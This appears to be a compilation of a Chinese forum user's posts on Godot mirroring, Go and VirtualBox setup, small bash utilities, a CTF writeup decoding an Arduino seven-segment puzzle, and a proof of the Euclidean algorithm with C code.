当前参与企业编辑人数已满，感谢大家参与到godot中国社区的建设！

数论都搞出来了是吧，来点rsa加密#doge

我是笨蛋，gitee上传后需要在设置重新选择开源，现在给的网址已经可以正常访问了

打完韩赛以后又只剩下我一个孤寡队长了, 强网杯只剩我自己报名. sakana战队尝试招一波同好, 战队介绍: 底层战队，坚持报名，看完题目就跑路

fyne患者+1，有时间我也看看wails

发现一个致命错误，虽然我自己不会犯，但是既然分享出来了，感觉还是应该负点责任，稍微更新了一下，错误原因为:

**当选择不输入文件名时\$file_name为空，if语句判别\$vboxsf文件夹是存在的，继续强制执行，会将\$vboxsf文件夹克隆进\$path的路径**

下面是更新后的代码:

```bash
#!/bin/sudo bash

# 挂载位置
export vboxsf="/mnt"
# 默认存放路径
export path="/home/root_cn/downloads"
# 所属用户名
user_name="root_cn"

ls $vboxsf

read -p "选择需要获取的文件(夹)名称:" file_name
if [ -e "$vboxsf/$file_name" ] && [ "$file_name" != "" ];
then
    cp -r $vboxsf/$file_name $path/$file_name
    chown -R $user_name:$user_name $path/$file_name
    echo -e "\033[32m[True]\033[0m 已获取文件于$path:"
    find $path/$file_name
else
    echo -e "\033[31m[False]\033[0m 找不到该文件"
fi
```
我是憨憨

那确实挺危险的，感谢提醒，py多了，总感觉#后面都是注释

查了一下，按道理好像还是应该写`#!/bin/bash`?
上面只是方便让自己记得当时设的名字叫get，我这里运行起来没问题，不过好像确实不合规定，linux是自己摸索的，没系统学习过bash，感谢指出问题。

跨平台的话确实适合electron和tauri，还方便热更新，electron时间长，比较完善，缺点是打包出来占用多，tauri虽然有弥补electron的缺点，但是之前我关注的时候只支持rust，编写通过难度高。如果只考虑效率的话其实可以尝试了解一下c#?

看需求，不结合需求谈值得都是耍牛氓

下面这张图片可能对你有帮助，不过协议嘛，总是有漏洞可钻，比如公司宣布开源，但是时间无限延期?
开源虽好，但是闭源更容易防止黑客攻击，我也支持开源，不过最好还是辩证着看问题吧
![](https://content.hackertalk.net/pub/yEPp55-0nzmXpJ)

这里说的逆向与破解属于ctf中的两大分类，想要详细了解的话可以去靶场多打打靶机

JDK17 整体免费，如果不去买 Java 特殊套件应该不用花钱的，其次也有 OpenJDK，AWS、阿里也有自己开放的免费 JDK 可以用。

其实逆向不需要中低级语言的……一般的编程语言都是支持二进制数据类型的，就是学一下位运算的事儿~我就用[`PY`实现](https://hackertalk.net/posts/385750206424330240)了个~

Shebang的作用就是指定文件由谁来执行，比如我的名字就是让zsh来执行的意思

`#!/usr/bin/node`写在开头就可以文件由node去执行

```js
#!/usr/bin/node
// 1
console.log("hello world")
```

`chmod +x 1&&./1`就可以得到`hello world`了

你那个写法是有点奇怪的，我刚才试了一下他就告诉我递归执行了

[使用 PowerShell 永久修改环境变量 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/424377493)给你个链接吧，可以用powershell改env，评论里还有个其他的点如果涉及可以参考一下

或者直接用go提供的命令（永久修改），如`go env -w GO111MODULE=on`，修改的是GOENV的文件

```text
usage: go env [-json] [-u] [-w] [var ...]

Env prints Go environment information.

By default env prints information as a shell script
(on Windows, a batch file). If one or more variable
names is given as arguments, env prints the value of
each named variable on its own line.

The -json flag prints the environment in JSON format
instead of as a shell script.

The -u flag requires one or more arguments and unsets
the default setting for the named environment variables,
if one has been set with 'go env -w'.

The -w flag requires one or more arguments of the
form NAME=VALUE and changes the default settings
of the named environment variables to the given values.

For more about environment variables, see 'go help environment'.
```

谢谢各位大佬的回答！我是业余爱好者，主业是做医药的。

最早开始接触编程是给 Obsidian 写插件，学了一些些 TypeScript 和 Vue 3 ，也就基本够用的水平。Rust 学到了多线程，后面感觉很难还没敢继续深入学习…… 不过学着学着突然就冒出了很多以前我没听说过的新语言，也不知道学哪个好，故才问此问题。

我其实是想写一些跨平台的研究工具（带 GUI 的），涉及科学计算所以要求计算结果比较精确。Electron 可以吗（这个框架好像很火啊，新版 QQ 好像也是用的这个）？还是 Tauri 比较好？Python 是不是也可以开发 GUI 程序啊不过会不会性能不太好？或者大佬还有没有其它的推荐呢 :heart: ？

还有我有一个非常好奇的问题，就是像这些网页里的 3D引擎 到底是怎么做出来的 :open_mouth: ？！一个人的话有机会开发出来吗？

![](https://content.hackertalk.net/pub/3PVyQK-13PPAGd)

好消息，godot中国社区也在积极响应unity的最新协议！

![](https://image.hackertalk.net/images/f83a732c-1c20-4f00-8d73-e4af2b6f6d37)

![](https://image.hackertalk.net/images/a888a203-e00e-4c39-aa50-8916d551e434)
为了让国内用户更方便地切换godot引擎进行继续开发，我们在gitee上传了仓库:

![](https://image.hackertalk.net/images/bf64fd63-8294-4921-9c1a-13f3ba688699)

godot二进制文件，godot学习文档，godot大量开发案例，unity工程转移godot，大家无需翻墙，自行编译即可快速使用。

![](https://image.hackertalk.net/images/efcff9e4-6530-4572-92f5-3e3d2c4aebc7)

![](https://image.hackertalk.net/images/2d5b7155-9695-4323-b2b9-cf74a1ed762e)

[godotengine_mirror地址](https://gitee.com/godotengine_mirror/)

之后也会陆续更新大家可能会需要的内容，如果有新的需求可以直接联系我，回复邮箱，或者直接提交issues。
当前参与企业编辑人数为2/5，欢迎大家留下自己的邮箱，参与到godot中国社区的建设！

Godot中国社区也在积极响应unity的最新协议

# golang简介

没有过多实战不做介绍。

### 使用原因

高中毕业后我就一直在用python，作为一种非常直觉化的语言，又有大量库进行辅助，python应该可以算为数不多的万能工具，它能比r,matlab的使用范围更广，比真正的编程语言门槛更低。
但是python的问题也是存在的，对库的严重依赖让python的学习路线有很强的割裂感，到后期完全就是在考验背库能力(学习python不是很推荐自己造轮子)，写出的代码感觉有点像是戴着项圈跳舞，我不是很喜欢这种感觉。
golang与python有些相似度(至少比起rust来说，golang能够保持在我多少能理解一些的情况)，据我看到的有一些python项目也在用golang重构，感觉golang可以算python玩家最不错的接盘侠了(?)，但是问题也是存在的，比起python已经非常完善的一键布置，golang在windows下的配置过程可以说让我非常狼狈，所以想来给大家谢谢我的一些踩坑记录。

# golang布置

### 下载

推荐在[中文社区](https://satudygolang.com/dl)下载，我选择了msi文件，zip大概可以直接解压使用？整个流程只有选择下载路径，布置起来还是挺快的，如果默认安装的话应该不会出太多问题的，但是把东西一股脑塞进C盘是个不好的习惯，我选择了放在`D:\golang`位置,于是灾难开始了。
为方便后文描述，假设`[path]=D:\golang`，[教程](https://goproxy.cn/)中只教了以下代码：

```bash
C:\> $env:GO111MODULE = "on"
C:\> $env:GOPROXY = "https://goproxy.cn"
C:\> go env
```

打开powershell一通复制粘贴，虽然能看见`GO111MODULE`与`GOPROXY`被改变了，但是重新打开进行`go env`会发现需要重新设置，故不推荐以这种方式进vscode下载文件搜索`编辑系统环境变量`，在`环境变量`中如下新建后填写上面的信息：

![](https://content.hackertalk.net/pub/mQlkJv-z5pxKol)

完成后不要急着打开vscode，注意观察GOMODCACHE，GOPATH，GOROOT，GOTOOLDIR位置是否设置在自己的文件位置下，继续新建系统变量，使：

```bash
C:\> $GOMODCACHE = "[path]\pkg\mod"
C:\> $GOROOT = "[path]"
C:\> $GOTOOLDIR = "[path]\pkg\tool\windows_amd64"
```

GOPATH已经在上方的用户变量处设置好了，即使在系统变量重新设置也无法更改，所以直接对用户变量修改变量值：

![](https://content.hackertalk.net/pub/4k80wG-e5pKkvy)

继续选择`Path`，选择编辑，相对路径`%USERPROFILE%\go\bin`也需要改为`[path]\bin`，完成后最好将它上移一些位置，避免微软商城搞类似python那样的骚操作，全部完成后记得确认。
如果不改这些东西，vscode会将文件全部下载到新建的`C:\User\User_name\go`位置，然后出现乱七八糟的报错，管理起来也会很麻烦。
### 配置
打开vscode，在扩展中搜索下载排在最上方的`Go`，如果这是python语言，现在已经可以正常运行了。随便新建个test.go文件，尝试写点代码运行一下：
```go
package main
import "fmt"
func main() {
    fmt.Println("test")
}
```
写的时候会弹出通知，选择`Install All`等它慢慢下载，以下是工具正常下载的截图：

![](https://content.hackertalk.net/pub/9MypXK-zYDX5pY)

完成后还是不能运行，经报错提示还需要一个go.mod文件，可以在终端用代码生成：
```bash
go mod init github.com/rocksun/hellogo
```
尝试`F5`运行一下代码:

![](https://content.hackertalk.net/pub/4k8PE7-eOyAv92)

能跑起来，之前打开时`package main`报过一些奇怪的错误，被标注了波浪双横线，内容大概是：
```
gopls was not able to find modules in your workspace.
……
```
神奇的是代码依旧是可以运行的，于是没怎么管，重新打开时弹出需要安装什么东西，果断`Install All`，重新运行时就没再报错了。

【golang】在vs code布置中的一些踩坑与解法（win10）

RT，最近一溜子冒出了很多新的编程语言，什么 golang、rust、carbon、nim，有没有大佬分析一下当下最值得学习的新语言，孩子眼花缭乱了都…… :dizzy_face: 

有没有大佬分析一下最值得学习的新语言

电脑坏了，最近在折腾termux，小展示一波成果，先挖个坑，有时间来介绍一波:
![](https://content.hackertalk.net/pub/k95eZ4-085NVG8)

# 图片隐写

ctf杂项的其中一个分支，不知道大家看着破解逆向需要学习汇编/c会不会望而却步，兜兜转转最后其实还挺容易来到杂项这个赛道的。真正实操过以后个人感觉非常迷茫，就国内教程而言，感觉根本找不到一个很好的学习思路，所以最近干脆直接摆烂，想直接从原理开始查起了。

# 十六进制

大部分教程使用010 editor这款软件对图片信息进行搜索，在对付低级隐写图片时我有用过`cat pic.png`，不过再难一点就无法拿下了，通过对010 editor原理进行了解，大概意思是要转码十六进制?
不是很清楚，不过有大概方向一般就好办了，linux自带有十六进制转码工具xxd，使用`xxd pic.png`便可以对图片进行转码，`xxd -r pic.png`可以恢复格式，另提一下还有-d可以转换为二进制形式，但是最好谨慎转码，对于win10熟悉的用户应该知道，win10会在你编辑文件时克隆一个新隐藏文件进行编辑，方便后悔时回退，但是linux是下定决心要让使用者自己负责的（血的教训）。
所以为了方便自己使用，我仿照win10自己写了一个shell脚本:
```bash
#!/data/data/com.termux/files/usr/bin/bash
# 该文件个人命名为viewer

function main() {
 if [ "$1" != "--help" ] && [ "$1" != "-h" ] && [ "$1" != "" ]
 then echo `cp $1 .$1`
 echo `xxd .$1` "[True]转码成功"
 echo `rm .$1` else
 echo "$1,$data"
 echo "viewer <picture_name>"
 echo "可以在不对源图片照成不可逆损伤的前提下以十六进制打开图片，但是要注意结束后记得删掉对应的\".<picture>\"文件" fi }
main $1
```
懒，除了图片隐写以外没有实现其他功能，有兴趣的话可以试试自己折腾折腾。
布置方式大致如下:
```bash
cd /usr/bin
chmod u+x viewer
```
然后就可以用了:
![](https://content.hackertalk.net/pub/A7am8B-ez2wQNV)

【Crypto】linux图片隐写术脚本

## 写在前面
我很后悔在最后的阶段没有愿意多进行尝试, 不然一血应该属于从看到题目发布时就开始解题的我.
![](https://image.hackertalk.net/images/7982c986-bef3-43c1-b810-ab737800dd17)

## 文件分析
这次的代码是一个Arduino程序，用于控制七段显示器的亮灭。代码中定义了一个名为data的数组，其中存储了每个LED灯对应的引脚编号(A-G和DP)。COM引脚被设置为5V。
```c
// Set A-G, DP as OUTPUT pins, COM is 5V
int data[] = {0, 0, 0,2,4,5,6,7,8,0,2,3,5,6,8,0,2,3,4,0,2,4,5,7,8,0,2,4,5,6,7,8,0,2,3,4,0,2,4,5,6,7,8,0,4,5,6,7,8,0,2,3,4,0,2,4,5,7,8,0,2,3,4,0,4,5,6,7,8,0,2,4,5,6,7,8,0,2,3,4,5,6,7,8,0,2,4,5,6,7,8,0,3,4,0,2,3,4,0,2,3,5,6,8,0,2,4,5,6,7,8,0,3,4,7,8,0,2,3,4,0,2,3,4,0,2,4,5,6,7,8,0,3,4,0,2,3,4,0,2,3,5,6,8,0,2,4,5,6,7,8,0,2,4,5,7,8,0,2,4,5,7,8,0,2,6,7,8,0,2,4,5,6,7,8,0,2,3,4,5,7,8,0,2,3,4,0,2,3,4,5,8,0,2,4,5,7,8,0,2,6,7,8,0,2,3,4,0,2,3,4,5,8,0,2,4,5,6,7,8,0,2,6,7,8,0,2,4,5,7,8,0,2,6,7,8,0,2,4,5,6,7,8,0,2,4,5,7,8,0,2,4,5,6,7,8,0,3,4,0,2,3,4,0,2,3,4,5,8,0,2,3,4,0,2,3,4,5,7,8,0,2,3,4,0,3,4,5,6,8};
```
在setup()函数中，使用for循环将2到9号引脚设置为输出模式。
```c
void setup() {
 for(int i=2; i<=9;i++) pinMode(i, OUTPUT);
}
```
在loop()函数中，使用for循环遍历data数组中的每个元素。如果data[i]等于0,则调用clear()函数使对应的LED灯熄灭；否则，将对应的LED灯设置为低电平(LOW)。
```c
void loop() {
 for (int i=0; i<sizeof(data) / 2; i++) data[i] == 0 ? clear() : digitalWrite(data[i], LOW);
}
```
clear()函数的作用是使指定的LED灯熄灭一段时间(1秒),然后将其设置为高电平(HIGH)。
```c
void clear() {
 delay(1000);
 for(int i=2; i<=9;i++) digitalWrite(i, HIGH);
 delay(1000);
}
```
## 编写代码
用python可以快速模拟以上内容
```python
test = open("test","a")
the_main = ["■","■","■","■","■","■","■","■"]
light = the_main.copy()
word = ""
loop_num = 0
data = [0, 0, 0,2,4,5,6,7,8,0,2,3,5,6,8,0,2,3,4,0,2,4,5,7,8,0,2,4,5,6,7,8,0,2,3,4,0,2,4,5,6,7,8,0,4,5,6,7,8,0,2,3,4,0,2,4,5,7,8,0,2,3,4,0,4,5,6,7,8,0,2,4,5,6,7,8,0,2,3,4,5,6,7,8,0,2,4,5,6,7,8,0,3,4,0,2,3,4,0,2,3,5,6,8,0,2,4,5,6,7,8,0,3,4,7,8,0,2,3,4,0,2,3,4,0,2,4,5,6,7,8,0,3,4,0,2,3,4,0,2,3,5,6,8,0,2,4,5,6,7,8,0,2,4,5,7,8,0,2,4,5,7,8,0,2,6,7,8,0,2,4,5,6,7,8,0,2,3,4,5,7,8,0,2,3,4,0,2,3,4,5,8,0,2,4,5,7,8,0,2,6,7,8,0,2,3,4,0,2,3,4,5,8,0,2,4,5,6,7,8,0,2,6,7,8,0,2,4,5,7,8,0,2,6,7,8,0,2,4,5,6,7,8,0,2,4,5,7,8,0,2,4,5,6,7,8,0,3,4,0,2,3,4,0,2,3,4,5,8,0,2,3,4,0,2,3,4,5,7,8,0,2,3,4,0,3,4,5,6,8][2:]
for i in data:
 if i == 0:
 loop_num += 1
 b = "".join(light)#.replace("▢","1").replace("■","0")[::-1]
 print(b)
 if b == "▢■▢▢▢▢▢■":
 a = 6
 elif b == "▢▢■▢▢■▢■":
 a = 2
 elif b == "▢■▢▢■▢▢■":
 a = 5
 elif b == "▢▢▢■■■■■":
 a = 7
 elif b == "■■▢▢▢▢▢■":
 a = "b"
 elif b == "▢▢▢▢▢▢▢■":
 a = 8
 elif b == "▢■■■▢▢▢■":
 a = "f"
 elif b == "■▢▢■■■■■":
 a = 1
 elif b == "▢▢▢▢■■▢■":
 a = 3
 elif b == "▢▢▢▢■▢▢■":
 a = 9
 elif b == "■▢▢■■▢▢■":
 a = 4
 else:
 a = ""
 #a = int(a,2)
 #a = chr(a)
 #test.write(a)
 light = the_main.copy()
 if loop_num == 2:
 loop_num = 0
 test.write("\\x")
 a = str(a)
 word += a
 test.write(a)
 else:
 light[i-2] = "▢"
 #print(light)
 #print("".join(light))
test.write("d")
word += "d"
test.close()
print(word)
```
将得到的文件`test`复制进python为字符串,可以得到flag.
![](https://image.hackertalk.net/images/c28f194a-d3a3-4333-a73a-70d9bd1c8011)

## 原理解析
七段显示器服从指令SEG, 通过对给出数组data进行for循环, 将2-9电位信息以`■▢`形式进行输出. 当data指向0时执行源代码的clear()函数的暂停重置指令, 故在python中使用if判别输出当前结果, 并通过if-elif-else进行SEG转换, 得到数据word, 并以"\xXX"形式储存为test文件, python中"\xXX"格式用于转换数据十六进制数据. 
![](https://image.hackertalk.net/images/73d2f7a6-fe0c-4074-9844-ec55f1869611)
最后是结尾的"d", 我们可以在[tinkercad](https://www.tinkercad.com)进行Arduino的仿真模拟进行测试, 将一个Arduino与7段显示器如下所示进行连接, 并输入代码(为提升效率, 以下将delay暂停时长缩短为1/10).
![](https://image.hackertalk.net/images/2b0031bf-1bff-4ade-aa79-11fa3ce8712b)
开始模拟后, 我们可以发现在结尾多出了一个在python模拟中未出现的新字符"d", 这是因为python代码中以for循环中的data指向0为结束获取数据, 而题目的程序中在结尾并未添加0, 导致出现了数据丢失, 当时我拿着51个字符表示非常疑惑, 再加上flag头的bugku{}没能成功对应上"flag{}"字符的各种编码形式, 导致我陷入过很长一段时间的错误思考, 痛失一血.
![](https://image.hackertalk.net/images/f58c9051-59a1-419c-9d8a-9d9d063b1119)
将缺少的"d"进行补全, 在字符串中便可以轻松找到特殊字符组合"7b"和"7d", 即十六进制编码的"{}"符号, 进行解码, 成功拿下flag

bugku嵌入(IOT):easyIOT个人解题writeup

欢迎大家给鄙人提供一些有趣的想法

大家有没有知道一门相对冷门且有趣的编程语言？

> 甲骨文公司修改了 Oracle Java SE 订阅模式，在新的模式下，Java 将按每个工授权，而不是像旧模式允许的那样按每个用户或每个处理器授权。尽管甲骨文公司承诺允许用户可以根据他们目前的订阅模式进行续约，但随着时间的推移，它可能会对用户施加压力，让他们采用新的模式。这种转变将惩罚那些花了多年时间尽量减少 Java 使用量的公司，因为他们发现无论他们使用多少Java，都要按员工收费。有分析称，有的公司的 Java 成本上升了 10 倍，平均在 2 到 4 倍的增长。

by Linux中国 硬核老王

[news]甲骨文新的授权模式导致Java使用成本激增

PHP还能值得学吗

# virtualbox
一款开源（吗？忘了，但是一定免费）虚拟机，现已更新到7.0.6版本，但是在一些电脑上不能安装，比如我的电脑（喵了个咪），还好6.1版本依旧能用，以下是在6.1版本中面对的问题与临时解决方法。
# 问题描述
在virtualbox的linux虚拟机中不能方便地与主机交换文件
# 临时解决方法
没看懂archwiki与大佬们一笔带过的思路，尝试使用virtual-guest-utils包时竟然默认安装vmware的安装包，甲骨文用户大受震撼，不知道怎么使用arch自带增强功能。
以下为个人解决思路：
### 布置增强功能
右*ctrl*+*f*选择 设备>安装增强功能
将增强功能安装到/mnt目录下，这里我多创建了一个文件夹用于挂载
```bash
sudo mkdir /mnt
sudo mount /dev/cdrom /mnt/cdrom
cd /mnt/cdrom
```
会被警告挂载文件仅为可读文件，无法编辑，但是问题不大，linux通用增强工具为**VBoxLinuxAdditions.run**，运行一下。
```bash
sudo ./VBoxLinuxAdditions.run
```
![](https://content.hackertalk.net/pub/nWog8A-z4ZdaQY)
### 共享文件夹
![](https://content.hackertalk.net/pub/0o1GBD-6v4x74Q)
这个应该没有什么问题，如下勾选完以后进入虚拟机进行查看，会发现神奇的一幕：“我的mnt呢？怎么打不开了？”
```bash
ls -all /
```
通过以上命令可以发现，在一堆root属组中mnt一行被更变为vboxsf了。
### 解决思路
属主依然是最强大的root用户，那问题就好办了，先调用我们的管理员权限：
```bash
sudo su
```
在root用户下可以正常打开/mnt文件，现在以学习资料为案例，用root权限将文件复制到/home文件夹下：
```
cp -r /mnt/学习资料 /home
ls -all /home
```
现在用一个新终端打开/home文件，发现文件已经被拷贝进来了，但是依旧无法打开，通过
```bash
ls -all /home
```
可以看到文件的属主与属组为root，但是如果想尝试直接进入会发现没有权限，个人感觉是因为root可访问root_cn(我的个人用户)，vboxsf，但root_cn与vboxsf互不能访问，文件是从vboxsf复制过来的，所以不能访问。
于是直接将属主与属组直接更改为root_cn：
```bash
sudo chown -R root_cn:root_cn 学习资料
```
现在可以正常打开了。
![](https://content.hackertalk.net/pub/8X6WPp-xkBzdAD)
一直没好好理清楚权限管理，属主，属组等这些概念与linux关系，应用起来感觉总是在吃亏，甚至到现在也没搞懂，那么万能的sudo后面为什么不能接cd，装了增强功能后系统会出现一些变化，设置之前最好先备份一遍作个保险。

[virtualbox]arch linux增强功能布置中面临的一些问题

一直以来写 rust 都是用 idea 或 clion 的 rust 插件，但每种语言都有特定的调试工具，如果能定制一个 IDE 专门写 rust 那是极好的  :grin: , RustRover 的目标就是改善 Rust 的开发体验，比如智能补全：

![](https://image.hackertalk.net/images/82a44e24-aa68-4558-b3d3-d79646438b2f)

RustRover 现在还是 preview 阶段，可以免费在[官网下载](https://www.jetbrains.com/rust/)使用，也可以在 Toolbox 上直接安装，不知道后面会不会加入到 JB 全家桶套餐中  :smiley: 

![](https://image.hackertalk.net/images/b194402e-e43e-4cb7-aeba-f82b5db33443)

[Introducing RustRover – A Standalone Rust IDE by JetBrains](https://blog.jetbrains.com/rust/2023/09/13/introducing-rustrover-a-standalone-rust-ide-by-jetbrains/)

Jetbrains 推出 Rust 专属 IDE

如题

---

反对隐藏代码，坚决反对代码商业化，永远支持自由源码、知识共享、Copyleft！  
知识是人类的公有财产，不应被资本家与人奸作为牟利工具！  
支持CC、GNU等组织，积极使用CC、GPL等协议！

求问有什么可以禁止商用的开源许可协议？

对广大数学或计算机爱好者来说，找两个数的公因数向来是绕不过去的问题．本文将带大家用小学二年级的知识推出上述问题的最优算法：欧几里得算法，并展示其程序实现．以下是本文索引：

1. 欧几里得算法
 1. 简洁的定义
 2. 快速的算法
 3. 严谨的证明
 4. 优雅的程序
2. 斐蜀定理与更多推论
 1. 斐蜀定理
 2. 更多推论

## 欧几里得算法

欧几里得算法又叫辗转相除法，因最早被记载于欧几里得的《几何原本》中而得名．在我国，相同的算法则最早出现于东汉的《九章算术》中．该算法是目前已知最快的最大公因数求解算法．接下来，让我们开始深入了解该算法吧！

### 简洁的定义

本节内容的定义范围均为自然数系，或者用集合论的写法：$\in \mathbb{N}$（特别注意的是，这里 $0 \subset \mathbb{N}$ ）．

明确定义范围后，让我们先来定义除法：

显而易见，除法对自然数系并不封闭．也就是说，我们将任意两个自然数相除，结果却不一定是自然数．对于相除结果仍是自然数的，比如$20 \div 5 = 4$，我们称之为整除，用数学语言表述为：

设 $a，b \in \mathbb{N}，b \neq 0$，若 $\exists q \in \mathbb{N}，a = bq$，则称 $a$ 能被 $b$ 整除，或 $b$ 整除 $a$，记作：$b \mid a$；否则称 $a$ 不能被 $b$ 整除，或 $b$ 不整除 $a$，记作：$b \nmid a$．

而对于不能整除的情况，我们可以将结果表示为两个自然数，这就是我们小学学的带余除法，例如$21 \div 5 = 4 \cdots 1$．带余除法的数学定义如下：

设 $a，b \in \mathbb{N}，b \neq 0$，则$\exists! q，r \in \mathbb{N}$，使得：   $a = bq + r，r < b$， 上式也写作：   $a \div b = q \cdots r$， 其中 $q$ 称为 $b$ 除 $a$ ($a$ 除以 $b$) 的不完全商 (简称商) ，$r$ 是 $b$ 除 $a$ 的最小余数 (简称余数)．

接下来我们来定义下因数、公因数和最大公因数：

设 $a，b，c \in \mathbb{N}$， 若 $b \mid a$，则称 $b$ 是 $a$ 的因数，如：$\{1，2，4\}$ 都是 $4$ 的因数． 若 $c \mid a$ 且 $c \mid b$，则称 $c$ 是 $a，b$ 的公因数，如：$6，4$ 的公因数有 $\{1，2\}$． $a，b$ 的公因数中最大的称为 $a，b$ 的最大公因数，记作：$gcd(a，b)$，如：$gcd(4，6) = 2$．

好了，定义到此结束，接下来让我们看看以上几个概念的基本性质吧：

$$

1 \mid a，a \mid 0，a \mid a．
$$

$$

a \mid b，b \mid c \implies a \mid c．
$$

$$

a \mid b，a \mid c \implies a \mid (b \pm c)．
$$

$$

gcd(a，b) = gcd (b，a)．
$$

以上几个性质留给读者自证．

### 最好的算法

准备工作完成后，让我们思考下如何计算 $gcd(a,b)$．

我们不妨假设 $a < b$ ，此时最简单的情况是 $a \mid b$ 和 $b \mid 0$，那么分别有 $gcd(a，b) = a$ 和 $gcd(0，b) = b$．

而当 $a \nmid b$ 时，我们可以用带余除法：$b \div a = q \cdots r (r < a)$，写成乘法就是 $b = aq + r$ ，我们看到此处出现了四个自然数 $a，b，q，r$，我们不妨带入些具体值看看能发现什么规律吧！

当 $a = 12，b = 20$ 时，显然 $gcd(a，b) = gcd(12，20) = 4$，由 $b=aq+r$ 得：$q=1,r=8$． 当 $a=18，b=30$ 时，显然 $gcd(a,b)=gcd(18,30)=6$，由 $b=aq+r$ 得：$q=1,r=12$．

容易发现 $4 \mid 8，6\mid 12$，归纳一下就是 $gcd(a，b) \mid r$．

进一步观察 $a$ 和 $r$，可以发现 $gcd(12,8)=4=gcd(12,20)，gcd(18,12)=6=gcd(18,30)$，归纳后得：$gcd(a,b)=gcd(a,r)$．

先假设以上归纳结论是正确的，容易发现我们已经得到了将两个较大数的最大公因数求解问题转化为两个较小数的求解问题，而这样的操作是可以链式执行的，比如：$gcd(18,30)=gcd(12,18)=gcd(6,12)=gcd(0,6)=6$．

将上述方法归纳一下就是欧几里得算法：

要求 $gcd(a，b),0<a<b$，由带余除法可以得到以下 $k+1$ 个算式：

$$

b=aq_1+r_1,r_1<a,
$$

$$

a=r_1q_2+r_2,r_2<r_1,
$$

$$

r_1=r_2q_3+r_3,r_3<r_2,
$$

$$

r_2=r_3q_4+r_4,r_4<r_3,
$$

$$

\vdots
$$

$$

r_{k-2}=r_{k-1}q_k+r_k,r_k<r_{k-1},
$$

$$

r_{k-1}=r_kq_{k+1}+r_{k+1},r_{k+1}=0．
$$

由于每次带余除法后其余数必然减少，因此有限次操作后必然存在 $k > 0$ 使得 $k_{r+1}>0$，此时所求的 $gcd(a,b)=r_k$．

### 严谨的证明

要证欧几里得算法，先要证以下命题：

$$

a+b \neq 0,a<b,b=aq+r \implies gcd(a,b)=gcd(a,r)
$$

**证明：**$设 d 是 a,b 的公因数，则：d \mid a，d \mid b$    $\therefore d \mid aq，$    $又 r=b-aq，$    $\therefore d \mid r，$    $\therefore a，b的公因数是a,r的公因数，$    $同理：a，r的公因数是a,b的公因数，$    $\therefore gcd(a,b)=gcd(a,r)．$ $\blacksquare$

由以上命题可得算法中的 $k+1$ 个算式满足：

$$

gcd(a,b)=gcd(a,r_1),
$$

$$

gcd(a,r_1)=gcd(r_1,r_2),
$$

$$

gcd(r_1,r_2)=gcd(r_2,r_3),
$$

$$

\vdots
$$

$$

gcd(r_{k-1},r_k)=gcd(r_k,r_{k+1}=0)=r_k,
$$

$\therefore gcd(a,b)=r_k．$

### 优雅的程序

让我们直接上伪代码吧：

```

input a, b

if a > b:

 exchange a, b

while r != 0:

 r = b mod a

 b = a

 a = r

output b
```

接下来，让我们看一个 C 语言实现吧！

```c

#include <stdint.h>

#include <stdio.h>

uint64_t gcd(uint64_t a, uint64_t b) {

 if (a > b) {

 a = a ^ b;

 b = a ^ b;

 a = a ^ b;

 }

 loop:;

 uint64_t r = b % a;

 b = a;

 a = r;

 if (r != 0) goto loop;

 return b;

}
```

## 斐蜀定理与更多推论

本节内容仅作为补充，因此除斐蜀定理外其余推论证明留作练习．

另外，本节内容默认定义范围为整数系$\mathbb{Z}$，上节内容的整数系延拓是显然的，在此不再赘述，请读者自行想象。

### 斐蜀定理

逆向观察欧几里得算法，我们可以看出：

$$

r_{k-1}=r_kq_{k+1},
$$

$$

r_{k-2}=r_{k-1}q_k+r_k=r_kq_{k+1}q_k+r_k,
$$

$$

\vdots
$$

以此类推式中的每一个 $r_i$ 都必然可以被 $r_k$ 线性表示．

反过来，可以得到：

$$

r_k=r_{k-2}-r_{k-1}q_k.
$$

也就是说，可以用 $r_{k-1}$ 和 $r_{k-2}$ 表示 $r_k$，进一步地，我们可以得到：

$$

r_k=sa+tb.
$$

其中 $s$ 和 $t$ 是由 $r_i$ 和 $q_i$ 线性表示的，而 $r_i$ 和 $q_i$ 都是整数，所以 $s$ 和 $t$ 都是整数．这就是著名的斐蜀定理：

$$

\lvert a \rvert + \lvert b \rvert \neq 0 \implies \exists s, t \in \mathbb{Z},gcd(a,b)=sa+tb.
$$

### 更多推论

以下内容请自证．

$$

d\mid a, a\mid b \implies d \mid gcd(a,b).
$$

$$

a,b,c \in \mathbb{Z} \implies gcd(ac,bc) = gcd(a,b)\times \lvert c \rvert.
$$

$$

d \in \mathbb{Z^+}: gcd(a,b)=d \iff gcd(\frac{a}{d},\frac{b}{d})=1.
$$

$$

d \in \mathbb{Z^+}, a,b \in \mathbb{Z}, \lvert a \rvert + \lvert b \rvert \neq 0:gcd(a,b) = d\\ \iff \left( \begin{array}{ll} d \mid a, d \mid b; \\ c \in \mathbb{Z}, c\mid a, c\mid b \implies c \mid d. \end{array} \right.
$$

$$

gcd(a,b)=1\implies gcd(a,bc)=gcd(a,c).
$$

$$

gcd(a,b)=1,a\mid bc \implies a\mid c.
$$

$$

gcd(a,b)=1,a\mid c, b \mid c\implies ab\mid c.
$$

$$

gcd(a,b)=gcd(a,c)=1\implies gcd(a,bc)=1.
$$

$$

a_1, a_2,\cdots,a_n \in \mathbb{Z}, \sum_{i=1}^{n}\lvert a_i \rvert\neq 0\\ \implies gcd(a_1,a_2,\cdots,a_n)=gcd((a_1,a_2),a_3,\cdots,a_n).
$$

$$

a_1, a_2,\cdots,a_n \in \mathbb{Z}, \sum_{i=1}^{n}\lvert a_i \rvert\neq 0 ,\\ \exists s_1, s_2, \cdots, s_n \in \mathbb{Z},gcd(a_1, a_2, \cdots, a_n)=\sum_{i=1}^{n}a_is_i.
$$

[初等数论]欧几里得算法：最大公因数/公因式求解算法的数学证明与程序实现

最近想做个文本编辑器，本来打算用fyne的，它有个组件叫`TextGrid`，编译时报错说调用时少了参数，然后我就翻了翻(文档)[https://developer.fyne.io/api/v2.0/widget/textgrid.html],写的很敷衍，只讲了每个参数的数据类型，没有实例...  

然后试试wails，他们的文档是真的很用心，有中文文档，写的很详细，于是果断弃用fyne~

吐槽一下fyne

对了, 我写的东西一般会比较放飞自我, 如果要严谨学习的话最好就别参考我的writeup了, 毕竟编程这种东西我懂不了一点.

## 介绍

flag格式：DUTCTF{xxxx}

## 使用工具

### retdec
blackarch不知道是什么原因配置不上retdec,最后还是直接在github下载,不得不说这是个很强大的反编译工具,相比r2确实能少死很多脑细胞.(当然retdec也存在自己的问题,之前打codegate时电脑差点原地爆炸)
#### 配置方法
